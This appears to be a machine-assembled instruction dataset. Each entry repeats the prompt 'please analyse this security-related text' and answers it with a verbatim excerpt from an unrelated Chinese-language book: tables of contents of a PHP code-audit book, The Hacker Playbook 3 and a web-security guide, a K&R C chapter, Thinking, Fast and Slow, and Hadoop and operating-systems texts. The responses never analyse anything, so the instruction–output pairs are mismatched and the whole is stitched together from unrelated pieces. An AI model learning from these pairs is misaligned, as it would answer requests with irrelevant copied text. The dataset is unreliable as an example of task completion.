“如果你不能大学毕业，就找不到好工作，”我的语气中带着一丝惊慌和关爱，“如果你找不到好工作，又怎么发财呢？”
儿子笑了，带着一点厌烦，慢慢地摇了摇头。我们以前多次谈过这个话题。他低下头转了转眼珠，显然，我那母亲式的智慧之词在他拒绝倾听的耳朵面前又一次失灵了。
虽然儿子很聪明，而且也有着强烈的自我意识，但他还算是有礼貌、有教养。
“妈妈，”他开口了，现在轮到我听演讲了，“跟上时代吧！你看看周围，那些最富有的人并不是因为受了良好的教育才致富的。看看迈克尔·乔丹和麦当娜吧，再看看比尔·盖茨，他从哈佛退学，创立了微软，他现在是全美国最富的人，而他才30多岁。还有一个棒球投手，每年能赚400多万美元，即使有人认为他智力低下。”
接下来是长时间的沉默，我想该是把我的父母曾给我的忠告告诉儿子的时候了。我们周围的世界在改变，但那些忠告一直没有变。
得到良好的教育和获得优异的成绩不再能确保成功了，除了我们的孩子，仿佛没有人意识到这一点。
“妈妈，”儿子继续说道，“我不想将来像你和爸爸那样辛苦工作。你们是挣了很多钱，所以我们住大房子，还有很多玩具。如果我听从你们的建议，将来就会像你们一样，更努力地工作却只会缴更多的税和欠更多的债。现在根本就没有工作是稳定的，我知道现在流行裁员、企业规模适度化。我也知道今天的大学毕业生...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

信息安全技术丛书
代码审计：企业级Web代码安全架构
尹毅　著
ISBN：978-7-111-52006-1
本书纸版由机械工业出版社于2015年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @华章数媒
微信公众号 华章电子书（微信号：hzebook）
目录
序言
前言
导读
第一部分　代码审计前的准备
第1章　代码审计环境搭建
1.1　wamp/wnmp环境搭建
1.2　lamp/lnmp环境搭建
1.3　PHP核心配置详解
第2章　审计辅助与漏洞验证工具
2.1　代码编辑器
2.2　代码审计工具
2.3　漏洞验证辅助
第二部分　漏洞发现与防范
第3章　通用代码审计思路
3.1　敏感函数回溯参数过程
3.2　通读全文代码
3.3　根据功能点定向审计
第4章　漏洞挖掘与防范（基础篇）
4.1　SQL注入漏洞
4.2　XSS漏洞
4.3　CSRF漏洞
第5章　漏洞挖掘与防范（进阶篇）
5.1　文件操作漏洞
5.2　代码执行漏洞
5.3　命令执行漏洞
第6章　漏洞挖掘与防范（深入篇）
6.1　变量覆盖漏洞
6.2　逻辑处理漏洞
6.3　会话认证漏洞
第7章　二次漏洞审计
7.1　什么是二次漏洞
7.2　二次漏洞审计技巧
7.3　dedecms二次注入漏洞分析
第8章　代码审计小技巧
8.1　钻GPC等转义的空子
8.2　神奇的字符串
8.3　php：//输入输出流
8.4　PHP代码解析标签
8.5　fuzz漏洞发现
8.6　不严谨的正则表达式
8.7　十余种MySQL报错注入
8.8　Windows　FindFirstFile利用
8.9　PHP可变变量
第三部分　PHP安全编程规范
第9章　参数的安全过滤
9.1　第三方过滤函数与类
9.2　内置过滤函数
第10章　使用安全的加密算法
10.1　对称加密
10.2　非对称加密
10.3　单向加密
第11章　业务功能安全设计
11.1　验证码
11.2　用户登录
11.3　用户注册
11.4　密码找回
11.5　资料查看与修改
11.6　投票/积分/抽奖
11.7　充值支付
11.8　私信及反馈
11.9　远程地址访问
11.10　文件管理
11.11　数据库管理
11.12　命令/代码执行
11.13　文件/数据库备份
11.14　API
第12章　应用安全体系建设
12.1　用户密码安全策略
12.2　前后台用户分表
12.3　后台地址隐藏
12.4　密码加密存储方式
12.5　登录限制
12.6　API站库分离
12.7　慎用第三方服务
12.8　严格的权限控制
12.9　敏感操作多因素验证
12.10　应用自身的安全中心
参考资源
序言
我第一次见到尹毅是2013年在北京中关村。那时候我正在安全宝创业，我们需要招募到最好的人才。这时候尹毅的博客吸引了我，在一个技术分享逐渐枯竭的时代，他的博客令人眼前一亮。然后我试图联系到了他，并邀请到北京来聊一聊。
让我大吃一惊的是，尹毅当时还是一个孩子模样，但是时不时能从生涩的脸庞里看到成熟。在这个年纪就出来工作，我想他一定吃过很多苦。在之后的工作中，尹毅展现出了惊人的天赋。交给他的工作总是能迅速并出色地完成，并时不时会在工作中有一些创新性成果令人惊喜。他的自驱力极强，总是不满足于简单的工作，于是我不得不想出一些更复杂和艰难的挑战交给他。
2014年9月，安全宝分拆了部分业务被阿里收购，我带着尹毅一起到了阿里。此时他已经成为一个安全团队的Leader，在中国最大的互联网公司里贡献着力量。
尹毅学东西很勤奋，他平时的业余时间就是写代码，或者看技术文章，因此进步迅速。他很快就在Web漏洞挖掘能力方面有了长足的进步，并取得了不错的成绩，他陆续发现了好些开源软件的高危漏洞。最难能可贵的是，他开始逐步总结这些经验，并且沉淀在自己开发的一个漏洞挖掘工具里。这让他学会了如何从重复的体力劳动中解放出来，把精力用在更有价值的地方。这是一个优秀黑客应具有的特质：厌倦重复性的体力劳动，而对创新充满着无限的热情和旺盛的精力。
尹毅认为，一个好的黑客，必须要懂编程。这也是他在这本书里所倡导的理念。在他看来，不懂编程、没挖过漏洞的黑客，充其量只能算“脚本小子”。所以，尹毅在本书的出发点是从代码审计开始，通过代码审计，去发现和挖掘漏洞。
漏洞挖掘是一门艺术，同时也是信息安全的核心领域。安全技术发展到今天，常见的漏洞挖掘技术有代码审计、黑盒测试、Fuzzing、逆向分析等。每一种技术都有独到之处，而其中，代码审计又是最基本、最直接的一种方式，是...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

第1章 导言
在本书的开篇，我们首先概要地介绍 C 语言，主要是通过实际的程序引入 C 语言的基本 元素，至于其中的具体细节、规则以及一些例外情况，在此暂时不多做讨论。因此，本章不 准备完整、详细地讨论 C 语言中的一些技术(当然，这里所举的所有例子都是正确的)。我们 是希望读者能尽快地编写出有用的程序，为此，本章将重点介绍一些基本概念，比如变量与 常量、算术运算、控制流、函数、基本输入/输出等。而对于编写较大型程序所涉及到的一 些重要特性，比如指针、结构、C 语言中十分丰富的运算符集合、部分控制流语句以及标准库 等，本章将暂不做讨论。
这种讲解方式也有缺点。应当提请注意的是，在本章的内容中无法找到任何特定语言特 性的完整说明，并且，由于比较简略，可能会使读者产生一些误解;再者，由于所举的例子 并没有用到 C 语言的所有强大功能，因此，这些例子也许并不简洁、精炼。虽然我们已经尽 力将这些问题的影响降到最低，但问题肯定还是存在。另一个不足之处在于，本章所讲的某 些内容在后续相关章节还必须再次讲述。我们希望这种重复给读者带来的帮助效果远远超过 它的负面影响。
无论是利还是弊，一个经验丰富的程序员应该可以从本章介绍的内容中推知他们自己进 行程序设计所需要的一些基本元素。初学者应编写一些类似的小程序作为本章内容的补充练 习。无论是经验丰富的程序员还是初学者，都可以把本章作为后续各章详细讲解的内容的框。
1.1 入门
学习一门新程序设计语言的惟一途径就是使用它编写程序。对于所有语言的初学者来说， 编写的第一个程序几乎都是相同的，即:
请打印出下列内容
hello, world
尽管这个练习很简单，但对于初学语言的人来说，它仍然可能成为一大障碍，因为要实 现这个目的，我们首先必须编写程序文本，然后成功地运行编译，并加载、运行，最后输出 到某个地方。掌握了这些操作细节以后，其它事情就比较容易了。
在 C 语言中，我们可以用下列程序打印出“ hello, world":
#include <stdio.h>
main()
{
printf("hello, world\n");
}
如何运行这个程序取决于所使用的系统。这里举一个特殊的例子。在 UNIX 操作系统中，
首先必须在某个文件中建立这个源程序，并以“   .c"作为文件的扩展名，例如 hello.c，然 后再通过下列命令进行编译:
cc hello.c
如果源程序没有什么错误(例如漏掉字符或拼错字符)，编译过程将顺利进行，并生成一个可 执行文件 a.out。然后，我们输入:
a.out
即可运行 a.out，打印出下列信息: hello, world
 在其它操作系统中，编译、加载、运行等规则会有所不同。
#include <stdio.h> main()
{
printf("hello, world\n");
}
包含标准库的信息 定义名为 main 的函数，它不接受参数值 main 函数的语句都被括在花括号中
main 函数调用库函数 printf 以显示字符序列;
\n 代表换行符
 第一个 C 语言程序
下面对程序本身做些说明。一个 C 语言程序，无论其大小如何，都是由函数和变量组成 的。函数中包含一些语句，以指定所要执行的计算操作;变量则用于存储计算过程中使用的 值。C 语言中的函数类似于 Fortran 语言中的子程序和函数，与 Pascal 语言中的过程和函数也 很类似。在本例中，函数的名字为 main。通常情况下，函数的命名没有限制，但 main 是一 个特殊的函数名——每个程序都从 main 函数的起点开始执行，这意味着每个程序都必须在某 个位置包含一个 main 函数。
main 函数通常会调用其它函数来帮助完成某些工作，被调用的函数可以是程序设计人员 自己编写的，也可以来自于函数库。上述程序段中的第一行语句
#include <stdio.h>
用于告诉编译器在本程序中包含标准输入/输出库的信息。许多 C 语言源程序的开始处都包 含这一行语句。我们将在第 7 章和附录 B 中对标准库进行详细介绍。
函数之间进行数据交换的一种方法是调用函数向被调用函数提供一个值(称为参数)列 表。函数名后面的一对圆括号将参数列表括起来。在本例中，main 函数不需要任何参数，因 此用空参数表()表示。
函数中的语句用一对花括号{}括起来。本例中的 main 函数仅包含下面一条语句:
printf("hello, world\n");
调用函数时，只需要使用函数名加上用圆括号括起来的参数表即可。上面这条语句将"hello, world\n"。作为参数调用 printf 函数。printf 是一个用于打印输出的库函数，在此处， 它打印双引号中间的字符串。
用双引号括起来的字符序列称为字...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

思考，快与慢
 [美]丹尼尔·卡尼曼  著
 胡晓姣   李爱民  何梦莹  译    中信出版社
思考，快与慢  著 者：[美]丹尼尔·卡尼曼  著 译 者： 胡晓姣   李爱民  何梦莹  译  策划推广：中信出版社（China CITIC Press） 蓝狮子财经出版中心  出版发行：中信出版集团股份有限公司（北京市朝阳区惠新东街甲4 号富盛大厦2 座 邮编 100029）（CITIC Publishing Group）  字 数：401 千字
 版 次：2012 年7 月第1 版   书 号：ISBN978-7-5086-3355-8/F.2633  定 价：69.00元
本书所获赞誉生活就像点菜，饥饿时菜会点得特别多，但吃一阵就会意识到浪费；如果慢条斯理地盘算怎么点菜，别人已经要吃完了。这就是决策的复杂性。本书会帮助你真理解这一切。——秦朔，《第一财经日报》总编辑卡尼曼在书中从容不迫地展现了大师级的思考方式和辩证精神。他既一针见血地挑战传统，指出“经济人”这一司空见惯的模型假设有诸多不合理之处，同时又未将慢速、审慎思维的优势绝对化、理想化。在这个需要经常做出迅速判断和决策的时代，快速思的必要性不言而喻，无论从商还是生活，处事时权衡两种思维模式的优劣得失，规避风险才是应有的态度。——潘海东，互动百科 CEO“丹尼尔·卡尼曼是人类历史上最具影响力的心理学家之一，当然也是至今仍健在的最重要、最优秀的心理学家。他有着独特的天赋，可以揭示人类思想的许多显著特征，其中很多特征已经成为教材中的经典内容，成了我们传统观念的一部分。他的工作打开了社会心理学、认知科学、对理性和幸福的研究以及行为经济学研究的新局面，其中行为经济学这一领域是丹尼尔与他的合作者阿莫斯·特沃斯基共同开辟的。本书的面世是一件大事。”—史蒂文·平克，哈佛大学约翰·斯通家族心理学教授，《大脑是如何工作的》及《唤醒心中的天使》两书的作者“这是社会思想的一部里程碑式著作，堪与亚当·史密斯的《国富论》和西格蒙德·弗洛伊德的《梦的解析》相媲美。 ”—纳西姆 ·塔勒布，《黑天鹅》一书作者“本书是一位智慧巨人的力作，可读性强，睿智，深刻。赶紧买，慢慢读，而且要反复读。这本书会改变你的思考方式。读了它，你对工作、世界以及自己的生活的看法都会改变。 ”—理查德 .泰勒，芝加哥大学经济学教授，《助推》一书作者“本书堪称杰作 —由我们这个时代最伟大、最深邃的一位思想家推出的恢弘巨作，闪耀着智慧的光芒。卡尼曼在获得诺贝尔奖之后应该再得一个普利策奖才对。 ”—丹尼尔·吉尔伯特，哈佛大学心理学教授，著有《哈佛幸福课》，《情感生活》节目主持人“丹尼尔·卡尼曼是我们这个时代最有独创性、最有趣的思想家之一。也许我们这个星球上再无第二个人比他更懂我们怎样作出选择、为什么这样选择了。在这本精彩绝伦的书中，他用一种简单而又吸引人的方式为我们展示了令人受益一生的智慧。尽管方式简单，其内容却十分深刻。本书是所有怀有好奇之心的人的必读之作。 ”—史蒂文 ·列维特，芝加哥大学杰出经济学教授，《魔鬼经济学》与《超爆魔鬼经济学》作者
目录 序言第一部分 系统1，系统2第1章 一张愤怒的脸和一道乘法题第2章 电影的主角与配角
第3章 惰性思维与延迟满足的矛盾
第4章 联想的神奇力量
第5章 你的直觉有可能只是错觉第6章 意料之外与情理之中第7章 字母“B”与数字“13”
第8章 我们究竟是如何作出判断的？
第9章 目标问题与启发性问题形影不离
第二部分 启发法与偏见第10章 大数法则与小数定律
第11章 锚定效应在生活中随处可见  第12章 科学地利用可得性启发法第13章 焦虑情绪与风险政策的设计第14章 猜一下，汤姆的专业是什么？第15章 琳达问题的社会效应第16章 因果关系比统计学信息更具说服力
第17章 所有表现都会回归平均值
第18章 如何让直觉性预测更恰当有效？
第三部分过度自信与决策错误第19章 “知道”的错觉
第20章 未来是不可预测的
第21章 直觉判断与公式运算，孰优孰劣？
第22章 什么时候可以相信专家的直觉？
第23章 努力养成采纳外部意见的决策习惯第24章 乐观主义是一柄双刃剑
第四部分 选择与风险第25章 事关风险与财富的抉择
第26章 更人性化的前景理论
第27章 禀赋效应与市场交易
第28章 公平性—经济交易的参照点
第29章 对结果可能性的权衡第30章 被过分关注的罕见事件第31章 能带来长远收益的风险政策
第32章 心理账户是如何影响我们的选择的？
第33章 评估结果的逆转
第34章 善用框架效应，让生活更美好
第五部分 两个自我第35章 体验效用与决策效用的不一致
第36章 人生如戏
第37章 你有多幸福？
第38章 思考生活
结语附录A 不确定性下的判断：启发法和偏见附录B 选择...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

计算机科学丛书
现代操作系统（原书第3版）
Modern Operating Systems,Third Edition
[荷]塔嫩鲍姆（Tanenbaum,A.S.）　著
陈向群　马洪兵　等译
ISBN：978-7-111-25544-4
本书纸版由机械工业出版社于2009年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @研发书局
腾讯微博 @yanfabook
目　录
出版者的话
译者序
前言
第1章　引论
1.1　什么是操作系统
1.1.1　作为扩展机器的操作系统
1.1.2　作为资源管理者的操作系统
1.2　操作系统的历史
1.2.1　第一代（1945～1955）：真空管和穿孔卡片
1.2.2　第二代（1955～1965）：晶体管和批处理系统
1.2.3　第三代（1965～1980）：集成电路芯片和多道程序设计
1.2.4　第四代（1980年至今）：个人计算机
1.3　计算机硬件介绍
1.3.1　处理器
1.3.2　存储器
1.3.3　磁盘
1.3.4　磁带
1.3.5　I/O设备
1.3.6　总线
1.3.7　启动计算机
1.4　操作系统大观园
1.4.1　大型机操作系统
1.4.2　服务器操作系统
1.4.3　多处理器操作系统
1.4.4　个人计算机操作系统
1.4.5　掌上计算机操作系统
1.4.6　嵌入式操作系统
1.4.7　传感器节点操作系统
1.4.8　实时操作系统
1.4.9　智能卡操作系统
1.5　操作系统概念
1.5.1　进程
1.5.2　地址空间
1.5.3　文件
1.5.4　输入/输出
1.5.5　保护
1.5.6　shell
1.5.7　个体重复系统发育
1.6　系统调用
1.6.1　用于进程管理的系统调用
1.6.2　用于文件管理的系统调用
1.6.3　用于目录管理的系统调用
1.6.4　各种系统调用
1.6.5　Windows Win32 API
1.7　操作系统结构
1.7.1　单体系统
1.7.2　层次式系统
1.7.3　微内核
1.7.4　客户机-服务器模式
1.7.5　虚拟机
1.7.6　外核
1.8　依靠C的世界
1.8.1　C语言
1.8.2　头文件
1.8.3　大型编程项目
1.8.4　运行模型
1.9　有关操作系统的研究
1.10　本书其他部分概要
1.11　公制单位
1.12　小结
习题
第2章　进程与线程
2.1　进程
2.1.1　进程模型
2.1.2　创建进程
2.1.3　进程的终止
2.1.4　进程的层次结构
2.1.5　进程的状态
2.1.6　进程的实现
2.1.7　多道程序设计模型
2.2　线程
2.2.1　线程的使用
2.2.2　经典的线程模型
2.2.3　POSIX线程
2.2.4　在用户空间中实现线程
2.2.5　在内核中实现线程
2.2.6　混合实现
2.2.7　调度程序激活机制
2.2.8　弹出式线程
2.2.9　使单线程代码多线程化
2.3　进程间通信
2.3.1　竞争条件
2.3.2　临界区
2.3.3　忙等待的互斥
2.3.4　睡眠与唤醒
2.3.5　信号量
2.3.6　互斥量
2.3.7　管程
2.3.8　消息传递
2.3.9　屏障
2.4　调度
2.4.1　调度介绍
2.4.2　批处理系统中的调度
2.4.3　交互式系统中的调度
2.4.4　实时系统中的调度
2.4.5　策略和机制
2.4.6　线程调度
2.5　经典的IPC问题
2.5.1　哲学家就餐问题
2.5.2　读者-写者问题
2.6　有关进程和线程的研究
2.7　小结
习题
第3章　存储管理
3.1　无存储器抽象
3.2　一种存储器抽象：地址空间
3.2.1　地址空间的概念
3.2.2　交换技术
3.2.3　空闲内存管理
3.3　虚拟内存
3.3.1　分页
3.3.2　页表
3.3.3　加速分页过程
3.3.4　针对大内存的页表
3.4　页面置换算法
3.4.1　最优页面置换算法
3.4.2　最近未使用页面置换算法
3.4.3　先进先出页面置换算法
3.4.4　第二次机会页面置换算法
3.4.5　时钟页面置换算法
3.4.6　最近最少使用页面置换算法
3.4.7　用软件模拟LRU
3.4.8　工作集页面置换算法
3.4.9　工作集时钟页面置换算法
3.4.10　页面置换算法小结
3.5　分页系统中的设计问题
3.5.1　局部分配策略与全局分配策略
3.5.2　负载控制
3.5.3　页面大小
3.5.4　分离的指令空间和数据空间
3.5.5　共享页面
3.5.6　共享库
3.5.7　内存映射文...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

版权信息
书名：【抢鲜版】-黑客秘笈——渗透测试实用指南（第3版）
ISBN：978-7-115-52917-6
本书由人民邮电出版社发行数字版。版权所有，侵权必究。
您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
版 权
著　　　　 [美]皮特 • 基姆（Peter Kim）
译　　　　孙　勇　徐太忠
责任编辑　张　涛
人民邮电出版社出版发行　　北京市丰台区成寿寺路11号
邮编　100164 　电子邮件　315@ptpress.com.cn
网址　http://www.ptpress.com.cn
读者服务热线：(010)81055410
反盗版热线：(010)81055315
版权声明
Simplified Chinese language edition published by POSTS & Telecom Press Copyright ©2020.
All Rights Reserved.
The Hacker Playbook 3: Practical Guide To Penetration Testing，by Peter Kim, ISBN 9781980901754 Copyright ©2019 by Peter Kim.
本书中文简体版由作者授权人民邮电出版社有限公司出版。未经出版者书面许可，对本书的任何部分不得以任何方式或任何手段复制和传播。
版权所有，侵权必究。
内容提要
本书是畅销图书《黑客秘笈—渗透测试实用指南》（第2版）的全新升级版，不仅对第 2版内容进行了全面更新，还补充了大量的新知识。书中涵盖大量的实际案例，力求使读者迅速理解和掌握渗透测试中的技巧，做到即学即用。
本书共分为11章，内容涵盖了攻击工具的安装和使用、网络扫描、网络漏洞利用、突破网络、物理访问攻击、规避杀毒软件检测、破解密码的相关技巧以及如何编写分析报告等。
本书适合网络安全从业人员以及对黑客技术感兴趣的爱好者阅读，还可以作为高校信息安全专业师生的参考书。
前 言
这是“黑客秘笈”系列图书的第3版。除第1版和第2版介绍的一些攻击方法和技术（目前仍有效）外，本书还将介绍以下新的漏洞和攻击方法。
活动目录攻击。
Kerberos攻击。
网站攻击高级技术。
更好的横向渗透方法。
云漏洞。
快速和智能口令破解。
使用系统凭证和合法软件开展攻击。
横向移动攻击。
多种定制试验环境。
新出现网站编程语言漏洞。
物理攻击。
权限提升。
PowerShell攻击。
勒索攻击。
红队与渗透测试。
搭建红队所需的基础设施。
红队效果评估。
开发恶意软件和规避杀毒软件。
……
除此之外，本书尝试响应读者对第1版和第2版图书提出的评论和建议，并作出了反馈。这里要强调的是，我不是职业作家，仅仅是喜欢安全技术，喜欢传播安全技术。这本书是我注入满腔热情写作的，希望您能够喜欢。
本书将深入探讨如何建立设备实验室的环境，用来检测攻击效果，同时还会介绍最新的渗透方法和技巧。本书力求通俗易懂，很多学校已经把这本书作为教科书。书中尽可能多地增加试验章节，为读者展示测试漏洞或者利用漏洞的方法。
与前两版图书相似，本书中的内容尽可能以实战为基础。本书中并不涉及理论攻击技术，主要内容来自于作者的实战技术和经验。目前网络安全已经有了很大变化，主要从渗透测试转到红队攻击模式，本书不是仅仅介绍这些变化，而是通过示例展示为什么发生这样的变化。因此本书目标分为两部分：一是了解攻击者的攻击思路，理解攻击怎样开展的；二是介绍攻击工具和技术，并详细解释。除帮助读者理解概念和展示试验过程外，本书更重要的目的在于启发读者进行独立思考和探索。与其辛苦地写简历（当然，您需要一份简历），还不如拥有一个很有影响力的Github代码库和技术博客，我认为这会胜过一份好简历。无论您是从事防御研究还是攻击研究，深入了解相关技术发展，并且与安全同行进行分享是必不可少的。
没有读过前两本书的读者，可能会产生疑问，我的经验来自于什么地方。我的工作背景包括超过12年的渗透测试/红队攻击经验，测试的对象包括大型的金融机构、大型的公用事业公司、财富500强企业和政府机构。多年来我也在多个大学传授网络安全攻击课程，在多个安全会议上做过主题发言，在多个安全杂志上发表论文，在国内各个地方授课，举办多个公开CTF比赛，并开办个人安全学校。我个人最感兴趣的项目是在南加州经营一个免费和开源安全社区LETHAL。目前，社区成员超过800人，每个月有安全主题会议和CTF比赛等多项活动，社区已经成为人们分享、学习和提高安全技能的一个...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

版权信息
书名：Web应用安全权威指南
作者：（日） 徳丸浩
译者：赵文，刘斌
ISBN：978-7-115-37047-1
本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。
您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
图灵社区会员 ptpress（libowen@ptpress.com.cn） 专享 尊重版权
推荐序
译者序
前言
谢辞
第 1 章　什么是 Web 应用的安全隐患
1.1　安全隐患即“能用于作恶的 Bug”
1.2　为什么存在安全隐患会有问题
1.3　产生安全隐患的原因
1.4　安全性 Bug 与安全性功能
1.5　本书的结构
第 2 章　搭建试验环境
2.1　试验环境概要
2.2　安装 VMware Player
2.3　安装虚拟机及运行确认
2.4　安装 Fiddler
第 3 章　Web 安全基础 ： HTTP、会话管理、同源策略
3.1　HTTP 与会话管理
3.2　被动攻击与同源策略
第 4 章　Web 应用的各种安全隐患
4.1　Web 应用的功能与安全隐患的对应关系
4.2　输入处理与安全性
4.3　页面显示的相关问题
4.3.1　跨站脚本（基础篇）
4.3.2　跨站脚本（进阶篇）
4.3.3　错误消息导致的信息泄漏
4.4　SQL 调用相关的安全隐患
4.4.1　SQL 注入
4.5　关键处理中引入的安全隐患
4.5.1　跨站请求伪造（CSRF）
4.6　不完善的会话管理
4.6.1　会话劫持的原因及影响
4.6.2　会话 ID 可预测
4.6.3　会话 ID 嵌入 URL
4.6.4　固定会话 ID
4.7　重定向相关的安全隐患
4.7.1　自由重定向漏洞
4.7.2　HTTP 消息头注入
4.7.3　重定向相关的安全隐患总结
4.8　Cookie 输出相关的安全隐患
4.8.1　Cookie 的用途不当
4.8.2　Cookie 的安全属性设置不完善
4.9　发送邮件的问题
4.9.1　发送邮件的问题概要
4.9.2　邮件头注入漏洞
4.10　文件处理相关的问题
4.10.1　目录遍历漏洞
4.10.2　内部文件被公开
4.11　调用 OS 命令引起的安全隐患
4.11.1　OS 命令注入
4.12　文件上传相关的问题
4.12.1　文件上传问题的概要
4.12.2　通过上传文件使服务器执行脚本
4.12.3　文件下载引起的跨站脚本
4.13　include 相关的问题
4.13.1　文件包含攻击
4.14　eval 相关的问题
4.14.1　eval 注入
4.15　共享资源相关的问题
4.15.1　竞态条件漏洞
第 5 章　典型安全功能
5.1　认证
5.1.1　登录功能
5.1.2　针对暴力破解攻击的对策
5.1.3　密码保存方法
5.1.4　自动登录
5.1.5　登录表单
5.1.6　如何显示错误消息
5.1.7　退出登录功能
5.1.8　认证功能总结
5.2　账号管理
5.2.1　用户注册
5.2.2　修改密码
5.2.3　修改邮箱地址
5.2.4　密码找回
5.2.5　账号冻结
5.2.6　账号删除
5.2.7　账号管理总结
5.3　授权
5.3.1　什么是授权
5.3.2　典型的授权漏洞
5.3.3　授权管理的需求设计
5.3.4　如何正确实现授权管理
5.3.5　总结
5.4　日志输出
5.4.1　日志输出的目的
5.4.2　日志种类
5.4.3　有关日志输出的需求
5.4.4　实现日志输出
5.4.5　总结
第 6 章　字符编码和安全
6.1　字符编码和安全概要
6.2　字符集
6.3　字符编码方式
6.4　由字符编码引起的漏洞总结
6.5　如何正确处理字符编码
6.6　总结
第 7 章　如何提高 Web 网站的安全性
7.1　针对 Web 服务器的攻击途径和防范措施
7.1.1　利用基础软件漏洞进行攻击
7.1.2　非法登录
7.1.3　对策
7.2　防范伪装攻击的对策
7.2.1　网络伪装的手段
7.2.2　钓鱼攻击
7.2.3　Web 网站的伪装攻击对策
7.3　防范网络监听、篡改的对策
7.3.1　网络监听、篡改的途径
7.3.2　中间人攻击
7.3.3　对策
7.4　防范恶意软件的对策
7.4.1　什么是 Web 网站的恶意软件对策
7.4.2　恶意软件的感染途径
7.4.3　Web 网站恶意软件防范对策概要
7.4.4　如何确保服务器不被恶意软件感染
7.5　总结
第 8 章　开发安全的 Web 应用所需要的管理
8.1　开发管理中的安全对策概要
8....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hadoop实战（第2版）
陆嘉恒　著
ISBN：978-7-111-39583-6
本书纸版由机械工业出版社于2012年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @研发书局
腾讯微博 @yanfabook
目　录
前言
为什么写这本书
第2版与第1版的区别
本书面向的读者
如何阅读本书
在线资源及勘误
致谢
第1章　Hadoop简介
1.1　什么是Hadoop
1.1.1　Hadoop概述
1.1.2　Hadoop的历史
1.1.3　Hadoop的功能与作用
1.1.4　Hadoop的优势
1.1.5　Hadoop应用现状和发展趋势
1.2　Hadoop项目及其结构
1.3　Hadoop体系结构
1.4　Hadoop与分布式开发
1.5　Hadoop计算模型—MapReduce
1.6　Hadoop数据管理
1.6.1　HDFS的数据管理
1.6.2　HBase的数据管理
1.6.3　Hive的数据管理
1.7　Hadoop集群安全策略
1.8　本章小结
第2章　Hadoop的安装与配置
2.1　在Linux上安装与配置Hadoop
2.1.1　安装JDK 1.6
2.1.2　配置SSH免密码登录
2.1.3　安装并运行Hadoop
2.2　在Mac OSX上安装与配置Hadoop
2.2.1　安装Homebrew
2.2.2　使用Homebrew安装Hadoop
2.2.3　配置SSH和使用Hadoop
2.3　在Windows上安装与配置Hadoop
2.3.1　安装JDK 1.6或更高版本
2.3.2　安装Cygwin
2.3.3　配置环境变量
2.3.4　安装sshd服务
2.3.5　启动sshd服务
2.3.6　配置SSH免密码登录
2.3.7　安装并运行Hadoop
2.4　安装和配置Hadoop集群
2.4.1　网络拓扑
2.4.2　定义集群拓扑
2.4.3　建立和安装Cluster
2.5　日志分析及几个小技巧
2.6　本章小结
第3章　MapReduce计算模型
3.1　为什么要用MapReduce
3.2　MapReduce计算模型
3.2.1　MapReduce Job
3.2.2　Hadoop中的Hello World程序
3.2.3　MapReduce的数据流和控制流
3.3　MapReduce任务的优化
3.4　Hadoop流
3.4.1　Hadoop流的工作原理
3.4.2　Hadoop流的命令
3.4.3　两个例子
3.5　Hadoop Pipes
3.6　本章小结
第4章　开发MapReduce应用程序
4.1　系统参数的配置
4.2　配置开发环境
4.3　编写MapReduce程序
4.3.1　Map处理
4.3.2　Reduce处理
4.4　本地测试
4.5　运行MapReduce程序
4.5.1　打包
4.5.2　在本地模式下运行
4.5.3　在集群上运行
4.6　网络用户界面
4.6.1　JobTracker页面
4.6.2　工作页面
4.6.3　返回结果
4.6.4　任务页面
4.6.5　任务细节页面
4.7　性能调优
4.7.1　输入采用大文件
4.7.2　压缩文件
4.7.3　过滤数据
4.7.4　修改作业属性
4.8　MapReduce工作流
4.8.1　复杂的Map和Reduce函数
4.8.2　MapReduce Job中全局共享数据
4.8.3　链接MapReduce Job
4.9　本章小结
第5章　MapReduce应用案例
5.1　单词计数
5.1.1　实例描述
5.1.2　设计思路
5.1.3　程序代码
5.1.4　代码解读
5.1.5　程序执行
5.1.6　代码结果
5.1.7　代码数据流
5.2　数据去重
5.2.1　实例描述
5.2.2　设计思路
5.2.3　程序代码
5.3　排序
5.3.1　实例描述
5.3.2　设计思路
5.3.3　程序代码
5.4　单表关联
5.4.1　实例描述
5.4.2　设计思路
5.4.3　程序代码
5.5　多表关联
5.5.1　实例描述
5.5.2　设计思路
5.5.3　程序代码
5.6　本章小结
第6章　MapReduce工作机制
6.1　MapReduce作业的执行流程
6.1.1　MapReduce任务执行总流程
6.1.2　提交作业
6.1.3　初始化作业
6.1.4　分配任务
6.1.5　执行任务
6.1.6　更新任务执行进度和状态
6.1.7　完成作业
6.2　错误处理机制
6.2.1　硬件故障
6.2.2　任务失...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

目    录
版权信息
版权声明
内容提要
译者序
译者致谢
序一
序二
前言
作者致谢
关于本书
在线资源
作者在线
第1章 为何这本书与你先前读过的任何书籍都迥然不同
第一篇 职业
第2章 从非同凡响开始：绝不要做他人都在做的事
拥有商业心态
如何像企业一样思考
第3章 思考未来：你的目标是什么
如何设定目标
追踪你的目标
第4章 人际交往能力：远比你想象的重要
